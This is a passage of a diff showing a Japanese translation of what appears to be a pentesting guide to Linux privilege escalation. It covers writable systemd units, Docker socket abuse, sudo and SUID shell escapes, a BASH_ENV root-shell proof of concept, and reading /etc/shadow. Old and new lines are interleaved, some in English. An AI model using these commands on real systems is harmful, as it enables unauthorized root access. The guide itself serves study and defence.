/tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**次のものも使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases)(これは開始されるすべてのプロセスを監視して一覧表示します)。 +**また使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (これは起動するすべてのプロセスを監視して一覧表示します)。 -### 見えない cron ジョブ +### 見えない cron jobs -コメントの後に**キャリッジリターンを入れる**(改行文字を含めない)ことで cron ジョブを作成でき、cron ジョブは動作します。例(キャリッジリターン文字に注意): +コメントの後に**キャリッジリターンを入れる**(改行文字ではなく)ことでcronjobを作成でき、そのcron jobは動作します。例(キャリッジリターンに注意): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -431,85 +409,92 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込みできるか確認してください。書き込み可能であれば、**それを変更して**サービスが**起動**、**再起動**、**停止**したときにあなたの**backdoor**を**実行**させることができます(場合によってはマシンの再起動を待つ必要があります)。\ -例えば `.service` ファイル内にあなたの backdoor を作成し、**`ExecStart=/tmp/script.sh`** +任意の `.service` ファイルに書き込み可能か確認してください。書き込みできる場合、そのファイルを **could modify it** して、サービスが **started**, **restarted** または **stopped** のときにあなたの **backdoor** を **executes** するようにできます(場合によってはマシンの再起動を待つ必要があります)。\ +例えば、.service ファイル内にあなたの **backdoor** を **`ExecStart=/tmp/script.sh`** のように作成します。 -### 書き込み可能なサービスのバイナリ +### 書き込み可能な service binaries -サービスによって実行されるバイナリに対して**書き込み権限**を持っている場合、それらを改変して backdoor を埋め込むことができ、サービスが再実行されると backdoor が実行されます。 +サービスによって実行される **binaries** に対して **write permissions over binaries being executed by services** を持っている場合、それらを書き換えて backdoors を仕込むことができるため、サービスが再実行されたときに backdoors が実行されます。 -### systemd PATH - Relative Paths +### systemd PATH - 相対パス 次のコマンドで **systemd** が使用する PATH を確認できます: ```bash systemctl show-environment ``` -パス内の任意のフォルダに**write**できることが分かった場合、**escalate privileges**できる可能性があります。次のようなファイルで、**relative paths being used on service configurations**が使用されているかを検索する必要があります: +パスのいずれかのフォルダに**write**できることが分かれば、**escalate privileges**できる可能性があります。サービスの設定ファイルで**relative paths being used on service configurations**のような記述がないかを探す必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、書き込み可能な systemd の PATH フォルダ内に、相対パスのバイナリと同じ名前の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**, **Stop**, **Reload**)を実行するよう要求されると、あなたの**backdoorが実行されます**(通常、権限のないユーザーはサービスを開始/停止できませんが、`sudo -l` が使えるか確認してください)。 +その後、書き込み可能な systemd PATH フォルダ内に、**executable** を **same name as the relative path binary** として作成し、サービスが脆弱なアクション(**Start**, **Stop**, **Reload**)を要求されたときに、あなたの **backdoor will be executed**(unprivileged users は通常サービスを start/stop できませんが、`sudo -l` を使えるか確認してください)。 **サービスについては `man systemd.service` を参照してください。** ## **タイマー** -**タイマー**は、名前が`**.timer**`で終わる systemd ユニットファイルで、`**.service**`ファイルやイベントを制御します。**タイマー**はカレンダー時間イベントや単調時間イベントをネイティブにサポートしており、非同期で実行できるため、cron の代替として使用できます。 +**タイマー** は名前が `**.timer**` で終わる systemd unit ファイルで、`**.service**` ファイルやイベントを制御します。**タイマー** はカレンダー時間イベントや単調時間イベントの組み込みサポートがあり、非同期に実行できるため、cron の代替として使用できます。 すべてのタイマーは次のコマンドで列挙できます: ```bash systemctl list-timers --all ``` -### 書き込み可能なタイマー +### 書き込み可能な timers -タイマーを変更できる場合、systemd.unit に存在するユニット(例: `.service` や `.target`)を実行させることができます。 +もし timer を変更できれば、systemd.unit(`.service` や `.target` のような既存のユニット)を実行させることができます。 ```bash Unit=backdoor.service ``` -> 単位が経過したときにアクティブ化されるユニット。引数は、サフィックスが ".timer" ではないユニット名です。指定されない場合、この値はタイマー ユニットと同じ名前でサフィックスだけ異なるサービスにデフォルトで設定されます。(上記参照。)アクティブ化されるユニット名とタイマー ユニットのユニット名は、サフィックス以外は同一名にすることが推奨されます。 +> タイマーが満了したときにアクティブにする unit。引数は unit 名で、その接尾辞は ".timer" ではありません。指定がない場合、この値はタイマー unit と同じ名前で、接尾辞だけが異なる .service にデフォルトされます。(上記を参照)起動される unit 名とタイマー unit の unit 名は、接尾辞を除いて同一にすることが推奨されます。 +> +> したがって、この権限を悪用するには次のことが必要です: -- Find some systemd unit (like a `.service`) that is **書き込み可能なバイナリを実行している** -- Find some systemd unit that is **相対パスを実行している** and you have **書き込み権限** over the **systemd PATH** (to impersonate that executable) +- systemd unit(例: `.service`)のうち、**書き込み可能なバイナリを実行している**ものを見つける +- **相対パスで実行している** systemd unit を見つけ、**systemd PATH** に対して **書き込み権限** を持っている(その実行ファイルを偽装するため) **Learn more about timers with `man systemd.timer`.** ### **タイマーの有効化** -タイマーを有効化するには root 権限が必要で、次を実行します: +タイマーを有効化するには root 権限が必要で、以下を実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## ソケット +## Sockets -Unixドメインソケット (UDS) は、クライアント-サーバモデル内で同一または異なるマシン間の**プロセス間通信**を可能にします。これらは標準のUnixディスクリプタファイルを利用してコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 +Unix Domain Sockets (UDS) はクライアント-サーバモデル内で、同一または異なるマシン間の**プロセス間通信**を可能にします。これらは標準の Unix デスクリプタファイルを利用してコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** このファイル内では、いくつか興味深いパラメータを設定できます: +**sockets については `man systemd.socket` を参照してください。** このファイル内では、いくつか興味深いパラメータを設定できます: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約するとソケットがどこでリッスンするか(AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)を**示します**。 -- `Accept`: ブール引数を取ります。**true** の場合、**着信ごとにサービスインスタンスが生成され**、接続ソケットのみがそのインスタンスに渡されます。**false** の場合、すべてのリッスンソケット自体が**起動された service ユニットに渡され**、すべての接続に対して単一のサービスユニットのみが生成されます。この値はデータグラムソケットやFIFOでは無視され、単一のサービスユニットがすべての着信トラフィックを一括して処理します。**Defaults to false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法でのみ作成することが推奨されます。 -- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、リッスンする**ソケット**/FIFO がそれぞれ**作成されバインドされる前**または**後**に**実行されます**。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 -- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFO がそれぞれ**閉じられ削除される前**または**後**に**実行される**追加の**コマンド**です。 -- `Service`: **着信トラフィック**時に**有効化する**`service` ユニット名を指定します。この設定は Accept=no のソケットでのみ許可されます。デフォルトはソケットと同名のサービス(サフィックスを置き換えたもの)になります。ほとんどの場合、このオプションを使う必要はありません。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約するとソケットがどこでリッスンするか(AF_UNIX ソケットファイルのパス、IPv4/6 や待ち受けるポート番号など)を**示す**ために使われます。 +- `Accept`: ブール値を取ります。`true` の場合、**各着信接続ごとにサービスインスタンスが生成され**、接続ソケットのみが渡されます。`false` の場合、すべてのリッスンソケット自体が**起動された service unit に渡され**、すべての接続に対して単一の service unit だけが生成されます。この値は datagram ソケットや FIFO では無視され、これらでは単一の service unit が無条件にすべての着信トラフィックを処理します。**Defaults to false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方式で書くことが推奨されます。 +- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、それらはそれぞれリッスンする**ソケット**/FIFO が**作成**されバインドされる**前**または**後**に実行されます。コマンドラインの最初のトークンは絶対ファイル名である必要があり、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFO が閉じられ削除される**前**または**後**に実行される追加の**コマンド**です。 +- `Service`: 着信トラフィックに対して**有効化する**`service` unit の名前を指定します。この設定は `Accept=no` のソケットでのみ許可されます。デフォルトではソケットと同名のサービス(サフィックスを置き換えたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。 -### 書き込み可能な .socket ファイル +### Writable .socket files -もし **書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**できます。そうすると、その backdoor はソケットが作成される前に実行されます。したがって、**おそらくマシンの再起動を待つ必要があるでしょう。**\ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### 書き込み可能なソケット +もし書き込み可能な `.socket` ファイルを見つけたら、`[Socket]` セクションの冒頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**できます。こうするとソケットが作成される前にバックドアが実行されます。したがって、**多くの場合マシンの再起動を待つ必要があるでしょう。**\ +_システムがその socket ファイルの設定を実際に使用している必要があり、使用していない場合はバックドアは実行されません_ -もし **書き込み可能なソケットを特定**できたら(ここで言っているのは設定ファイルの `.socket` ではなくUnixソケット自体のことです)、そのソケットと**通信**でき、脆弱性を突ける可能性があります。 +### Writable sockets -### Unixソケットの列挙 +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. + +もし書き込み可能なソケットを**発見した**場合(_ここで言うソケットは設定ファイルの `.socket` ではなく Unix Sockets のことです_)、そのソケットと**通信する**ことができ、脆弱性を悪用できる可能性があります。 + +### Unix Sockets を列挙する ```bash netstat -a -p --unix ``` @@ -522,7 +507,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Exploitation の例:** {{#ref}} @@ -531,48 +516,48 @@ socket-command-injection.md ### HTTP sockets -注意: **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_)。次のコマンドで確認できます: +注意: 一部に **sockets listening for HTTP** リクエストがある場合があります(_ここで言っているのは .socket ファイルではなく、unix sockets として動作するファイルのことです_)。これを確認するには: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -もし socket が **HTTP リクエストに応答する** なら、それと **通信** でき、場合によっては **脆弱性を exploit する** こともあります。 +ソケットが **HTTP リクエストに応答する** 場合、そこに **通信** でき、場合によっては **exploit some vulnerability**。 -### 書き込み可能な Docker socket +### 書き込み可能な Docker Socket -Docker socket は通常 `/var/run/docker.sock` にあります。これは保護すべき重要なファイルです。デフォルトでは `root` ユーザーと `docker` グループのメンバーに対して書き込み可能になっています。この socket への書き込み権を持つと privilege escalation に繋がる可能性があります。以下はこれを行う方法の内訳と、Docker CLI が利用できない場合の代替手段です。 +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. -#### **Docker CLI を使った Privilege Escalation** +#### **Privilege Escalation with Docker CLI** -もし Docker socket への書き込みアクセス権がある場合、以下のコマンドで privilege escalation が可能です: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -これらのコマンドは、ホストのファイルシステムに対する root 権限でコンテナを実行することを可能にします。 +これらのコマンドを使うと、ホストのファイルシステムに対して root権限でアクセスできるコンテナを実行できます。 -#### **Docker API を直接利用する方法** +#### **Docker API を直接使用する場合** -Docker CLI が利用できない場合でも、Docker ソケットは Docker API と `curl` コマンドを使って操作できます。 +Docker CLI が利用できない場合でも、Docker API と `curl` コマンドを使って Docker ソケットを操作できます。 -1. **List Docker Images:** 利用可能なイメージの一覧を取得します。 +1. **Docker イメージの一覧:** 利用可能なイメージのリストを取得します。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** ホストのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 +2. **コンテナの作成:** ホストシステムのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +作成したコンテナを起動します: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` を使ってコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 +3. **コンテナにアタッチする:** `socat` を使ってコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -582,13 +567,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 接続を設定すると、ホストのファイルシステムに対する root 権限でコンテナ内から直接コマンドを実行できます。 +`socat` 接続を確立すると、コンテナ内でホストのファイルシステムに対して root権限で直接コマンドを実行できます。 ### その他 -docker ソケットに対する書き込み権限がある(**グループ `docker` の一員である**)場合は、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) があります。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) なら、それを悪用して侵害できる可能性もあります。 +docker ソケットへの書き込み権限を持っている(**group `docker` のメンバーである**)場合は、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) が利用可能になることに注意してください。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -docker からの脱出や権限昇格のための悪用方法の詳細は、次を確認してください: +Docker からの脱出や悪用による権限昇格の他の方法については、次を参照してください: {{#ref}} @@ -597,7 +582,7 @@ docker-security/ ## Containerd (ctr) の権限昇格 -`ctr` コマンドを使用できる場合、次のページを確認してください。**権限昇格に悪用できる可能性があります**: +もし **`ctr`** コマンドを実行できることが分かった場合、次のページを参照してください。**権限昇格に悪用できる可能性があります**: {{#ref}} @@ -606,7 +591,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** の権限昇格 -`runc` コマンドを使用できる場合、次のページを確認してください。**権限昇格に悪用できる可能性があります**: +もし **`runc`** コマンドを使用できる場合、次のページを参照してください。**権限昇格に悪用できる可能性があります**: {{#ref}} @@ -615,15 +600,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus は高度な **inter-Process Communication (IPC) system** で、アプリケーションが効率的に相互作用しデータを共有することを可能にします。モダンな Linux システムを念頭に設計されており、さまざまな形式のアプリケーション間通信のための堅牢なフレームワークを提供します。 +D-Bus は高度な inter-Process Communication (IPC) システムで、アプリケーション間の効率的な相互作用とデータ共有を可能にします。現代の Linux システムを念頭に設計されており、さまざまな形式のアプリケーション間通信に対して堅牢なフレームワークを提供します。 -このシステムは多用途で、プロセス間のデータ交換を強化する基本的な IPC をサポートし、これは **強化された UNIX ドメインソケット** を彷彿とさせます。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間のシームレスな統合を促進します。例えば、Bluetooth デーモンからの着信通知のシグナルが音楽プレーヤーにミュートを促すことでユーザー体験が向上します。加えて、D-Bus はリモートオブジェクトシステムもサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑だった処理を効率化します。 +このシステムは柔軟性があり、プロセス間のデータ交換を強化する基本的な IPC をサポートしており、拡張された UNIX ドメインソケットを連想させます。さらに、イベントやシグナルのブロードキャストを助け、システムコンポーネント間のシームレスな統合を促進します。例えば、Bluetooth デーモンからの着信通知が音楽プレーヤーをミュートさせるといったユーザー体験の向上が可能です。加えて、D-Bus はリモートオブジェクトシステムをサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 -D-Bus は **allow/deny model** に基づいて動作し、ポリシールールの総合的なマッチング結果に基づいてメッセージの権限(メソッド呼び出し、シグナル送出など)を管理します。これらのポリシーは bus とのやり取りを指定し、これらの権限を利用することで権限昇格が発生する可能性があります。 +D-Bus は **allow/deny モデル** で動作し、ポリシールールのマッチに基づく累積的な効果によりメッセージ権限(メソッド呼び出し、シグナル送出など)を管理します。これらのポリシーはバスとのやり取りを指定し、その権限の悪用によって権限昇格が可能になる場合があります。 -そのようなポリシーの例が /etc/dbus-1/system.d/wpa_supplicant.conf にあり、root ユーザーが `fi.w1.wpa_supplicant1` を所有し、それに対してメッセージを送受信する権限を持つことが詳細に示されています。 +そのようなポリシーの例が `/etc/dbus-1/system.d/wpa_supplicant.conf` に示されており、root ユーザーが `fi.w1.wpa_supplicant1` を所有し、送信し、受信する権限の詳細が記載されています。 -ユーザーやグループが指定されていないポリシーは全体に適用され、「default」コンテキストのポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 +ユーザーやグループが明示されていないポリシーは全体に適用され、"default" コンテキストのポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 ```xml @@ -632,7 +617,7 @@ D-Bus は **allow/deny model** に基づいて動作し、ポリシールール ``` -**ここで D-Bus の通信を enumerate および exploit する方法を学ぶ:** +**ここでD-Bus communicationの列挙とエクスプロイト方法を学べます:** {{#ref}} @@ -641,9 +626,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **ネットワーク** -ネットワークを enumerate して、マシンの位置を特定するのは常に興味深い。 +ネットワークを列挙してマシンの位置を把握するのは常に興味深い。 -### 汎用 enumeration +### 一般的な列挙 ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -666,16 +651,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### 開いているポート +### Open ports -アクセス前に検出できなかったマシン上で稼働しているネットワークサービスも必ず確認してください: +アクセスする前に操作できなかったマシン上で動作しているネットワークサービスは常に確認してください: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -sniff traffic が可能か確認してください。可能であれば、認証情報を取得できるかもしれません。 +sniff traffic が可能か確認してください。可能であれば、credentials を取得できるかもしれません。 ``` timeout 1 tcpdump ``` @@ -683,7 +668,7 @@ timeout 1 tcpdump ### 一般的な列挙 -自分が**who**であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのアカウントが**login**できるか、どのアカウントが**root privileges**を持っているかを確認する: +自分が**誰**か、どの**権限**を持っているか、システムにどの**ユーザー**が存在するか、どのユーザーが**ログイン**できるか、どのユーザーが**root権限**を持っているかを確認する: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -708,11 +693,11 @@ gpg --list-keys 2>/dev/null ### 大きな UID 一部の Linux バージョンは、**UID > INT_MAX** のユーザーが権限昇格できるバグの影響を受けていました。詳細: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +**これを悪用するには**: **`systemd-run -t /bin/bash`** ### グループ -あなたが root privileges を得られる可能性のある **グループのメンバー** かどうか確認してください: +root 権限を付与する可能性のある**グループのメンバー**かどうか確認してください: {{#ref}} @@ -721,7 +706,7 @@ interesting-groups-linux-pe/ ### クリップボード -可能であれば、クリップボード内に興味深いものが含まれていないか確認してください +可能であれば、クリップボードの中に興味深いものがないか確認してください ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -738,27 +723,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 既知のパスワード -環境のパスワードを**1つでも知っている**場合は、そのパスワードを使って**各ユーザにログインを試みてください**。 +環境の**パスワードを知っている**場合は、そのパスワードを使って**各ユーザーにログインを試みてください**。 ### Su Brute -多くのノイズを出すことを気にしない場合、かつ `su` と `timeout` バイナリがコンピュータに存在する場合、[su-bruteforce](https://github.com/carlospolop/su-bruteforce) を使ってユーザに対してブルートフォースを試すことができます。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザに対するブルートフォースも試みます。 +もし大量のノイズを出しても構わず、`su` と `timeout` バイナリがマシンに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーを brute-force することも試みます。 -## 書き込み可能な $PATH の悪用 +## Writable PATH の悪用 ### $PATH -もし **$PATH のいずれかのフォルダに書き込みできる**ことが分かったら、書き込み可能なフォルダ内に別ユーザ(理想的には root)が実行するコマンド名で**バックドアを作成**することで権限を昇格できる可能性があります。そのコマンドが $PATH 内であなたの書き込みフォルダより前にあるフォルダから**読み込まれない**ことが条件です。 +もし $PATH のあるフォルダに**書き込みできる**ことが分かったら、別のユーザー(理想的には root)が実行するコマンド名で書き込み可能なフォルダ内に**backdoor を作成する**ことで権限昇格できる可能性があります。作成する backdoor は、$PATH 上であなたの書き込み可能なフォルダより前に位置するフォルダから**ロードされない**こと(つまり実行時にあなたのフォルダが参照されること)が重要です。 ### SUDO and SUID -sudo を使って実行できるコマンドがあるか、またはファイルに suid ビットが設定されている可能性があります。次のコマンドで確認してください: +sudo を使って実行できるコマンドがあるか、またはそれらに suid ビットが設定されている場合があります。以下で確認してください: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -いくつかの**予期しないコマンドは、ファイルを読み取り・書き込みしたり、コマンドを実行したりすることがあります。** 例えば: +場合によっては、**予期しないコマンドの中にはファイルの読み取りや書き込み、さらにはコマンドを実行できるものがあります。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -769,31 +754,56 @@ less>! ``` ### NOPASSWD -Sudo の設定によって、ユーザーがパスワードを知らなくても別のユーザーの権限でコマンドを実行できる場合がある。 +Sudoの設定により、ユーザーがパスワードを知らなくても別のユーザーの権限でコマンドを実行できることがある。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例では、ユーザー `demo` が `root` として `vim` を実行できます。root ディレクトリに ssh key を追加するか、`sh` を呼び出すことで、簡単に shell を取得できます。 +この例では、ユーザー `demo` が `root` として `vim` を実行できます。ssh key を root directory に追加するか、`sh` を呼び出すことで shell を取得するのは非常に簡単です。 ``` sudo vim -c '!sh' ``` ### SETENV -このディレクティブは、何かを実行する際にユーザーが **set an environment variable** できるようにします: +このディレクティブは、何かを実行する際にユーザーが**環境変数を設定する**ことを許可します: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -この例は、**based on HTB machine Admirer** を基にしており、スクリプトを root として実行する際に任意の python ライブラリを読み込むための **PYTHONPATH hijacking** に **vulnerable** でした: +この例、**based on HTB machine Admirer** は、スクリプトを root として実行する際に任意の python library をロードするための **PYTHONPATH hijacking** に **vulnerable** でした: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo 実行時のパス回避 +### BASH_ENV が sudo env_keep によって保持される → root shell -**Jump** を使って他のファイルを読んだり、**symlinks** を使ったりします。例えば sudoers file では: _hacker10 ALL= (root) /bin/less /var/log/\*_ +もし sudoers が `BASH_ENV` を保持している場合(例: `Defaults env_keep+="ENV BASH_ENV"`)、Bash の非対話型起動時の挙動を利用して、許可されたコマンドを呼び出すときに arbitrary code を root として実行できます。 + +- 動作する理由: 非対話型シェルでは、Bash は `$BASH_ENV` を評価し、ターゲットスクリプトを実行する前にそのファイルを source します。多くの sudo ルールはスクリプトやシェルラッパーの実行を許可しています。`BASH_ENV` が sudo によって保持されていると、あなたのファイルは root 権限で source されます。 + +- 要件: +- 実行できる sudo ルール(`/bin/bash` を非対話的に呼び出すターゲット、または任意の bash スクリプト)。 +- `BASH_ENV` が `env_keep` に含まれていること(`sudo -l` で確認)。 + +- PoC: +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` +- ハードニング: +- `BASH_ENV`(および`ENV`)を`env_keep`から削除し、`env_reset`を優先する。 +- sudoが許可されたコマンドに対するシェルラッパーは避け、最小限のバイナリを使用する。 +- 保持された環境変数が使用される場合、sudoのI/Oログとアラートを検討する。 + +### Sudo 実行バイパスの経路 + +**ジャンプ**して他のファイルを読むか、**symlinks**を使用する。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -803,50 +813,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -もし **wildcard** が使われている(\*)と、さらに簡単です: +もし **ワイルドカード** が使われている (\*)、さらに簡単になります: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary (コマンドパスが指定されていない場合) +### Sudo command/SUID binary: コマンドのパスが指定されていない場合 -If the **sudo permission** is given to a single command **パスを指定せずに**: _hacker10 ALL= (root) less_、PATH変数を変更することでこれを悪用できます。 +もし**sudo permission**が単一のコマンドに対して**パスが指定されずに**付与されている場合: _hacker10 ALL= (root) less_、PATH変数を変更することで悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -この手法は**suid** バイナリ **が別のコマンドをパスを指定せずに実行する場合(常に_**strings**_で奇妙な SUID バイナリの内容を確認してください)**にも使用できます。 +このテクニックは、**suid** バイナリ **がパスを指定せずに別のコマンドを実行する場合(必ず** _**strings**_ **で怪しい SUID バイナリの内容を確認してください)**。 -[Payload examples to execute.](payloads-to-execute.md) +[実行用のPayload例.](payloads-to-execute.md) -### SUID バイナリ(コマンドのパスが指定されている場合) +### SUID バイナリ(コマンドのパス指定) -もし**suid** バイナリが**コマンドのパスを指定して別のコマンドを実行する場合**、suidファイルが呼び出しているコマンド名と同じ名前の関数を**export**してみてください。 +もし **suid** バイナリが **パスを指定して別のコマンドを実行する** 場合、suid ファイルが呼び出すコマンド名と同じ名前の関数を **export a function** してみてください。 -例えば、もし**suid** バイナリが _**/usr/sbin/service apache2 start**_ を呼び出しているなら、そのコマンド名と同じ名前の関数を作成して**export**してみてください: +例えば、もし suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出すなら、同名の関数を作成して export する必要があります: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Then, when you call the suid binary, this function will be executed +その後、suid binary を呼び出すと、この関数が実行されます ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +環境変数 **LD_PRELOAD** は、ローダーが他のすべてのライブラリよりも先に読み込む 1つまたは複数の共有ライブラリ(.so ファイル)を指定するために使用されます。標準 C ライブラリ(`libc.so`)も含まれます。この処理はライブラリのプリロードと呼ばれます。 -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +しかし、この機能が悪用されるのを防ぎ、システムのセキュリティを維持するために、特に **suid/sgid** 実行ファイルに関して、システムはいくつかの条件を強制します: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. +- ローダーは、real user ID (_ruid_) が effective user ID (_euid_) と一致しない実行ファイルに対して **LD_PRELOAD** を無視します。 +- suid/sgid を持つ実行ファイルの場合、プリロードされるのは標準パス内でかつ suid/sgid でもあるライブラリのみです。 -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated 